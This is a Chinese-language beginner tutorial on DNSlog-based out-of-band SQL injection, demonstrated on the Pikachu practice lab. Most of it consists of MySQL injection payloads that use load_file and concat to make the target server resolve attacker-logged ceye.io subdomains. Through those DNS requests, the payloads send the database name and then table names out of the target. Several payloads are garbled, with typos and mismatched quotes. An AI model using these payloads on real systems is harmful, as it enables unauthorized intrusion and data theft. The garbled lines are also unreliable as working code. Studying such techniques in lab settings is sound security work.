【新手入门】SQL注入之DNSlog注入

一、DNSlog注入

上一节学习了在无回显情况下可通过盲注来进行SQL注入,这节学习无回显情况下的另一个注入方式------DNSlog注入。

①:注入,无回显,采用DNSlog注入手段通过注入一个A网站网址让目标主机触发网址的访问,将敏感信息携带到请求数据中,A网站记录下本次请求,在日志中就能看到目标主机的敏感数据了。

具备DNSlog日志记录功能的网站:
http://ceye.io/

http://www.dnslog.cn/

条件

1.需要mysq|用户具备读文件的权限,因为要借助到mysql的load_file读取文件的函数,要在mysql配置项中开启secure file priv配置
2、目标mysql数据库服务器能够访问外网
借助load_file函数能够访问某个网址的特性,来进行DNSlog注入,注入语句如下

select load_file('\\\\xxx.xxxx.xxx\\xx');#xxx.xxxx.xxx\\(xx是某个网址)

发现有记录了,并且看到了pp这个数据,那么我们就可以继续构造获取敏感数据的sql语句了

select load_file(concat('//',(select database()),'.9fgiop.ceye.io/abc'))#    获取库名

二、注入

获取当前库名

①select * from member where id=1 and (select load_file(concat('//',(select database()),'.9fgiop.ceye.io/abc')))

②select * from member where id=1 and (select load_file(concat('\\\\',(select database()),'.9fgiop.ceye.io\\abc')))

pikachu网站测试:抓包,添加注入语句

成功通过dns记录,带出当前数据库名称pikachu

获取表名

and (select load_file(concat('\lll',(select table_name from information_schema.tables where table_schema=database() limit0,1),".9fqiop.ceye.io\\abc')))

and (select load file(concat('\lll',(select table name from information _schema.tables where table_schema=database() limit1,1),'.9fqiop.ceye.io\\abc')))

and (select load_ file(concat("\lll',(select table_name from information_schema.tables where table_schema=database() limit2,1),".9fqiop.ceye.io\abc')))

修改limit后面的数字即可将每个表名都查出来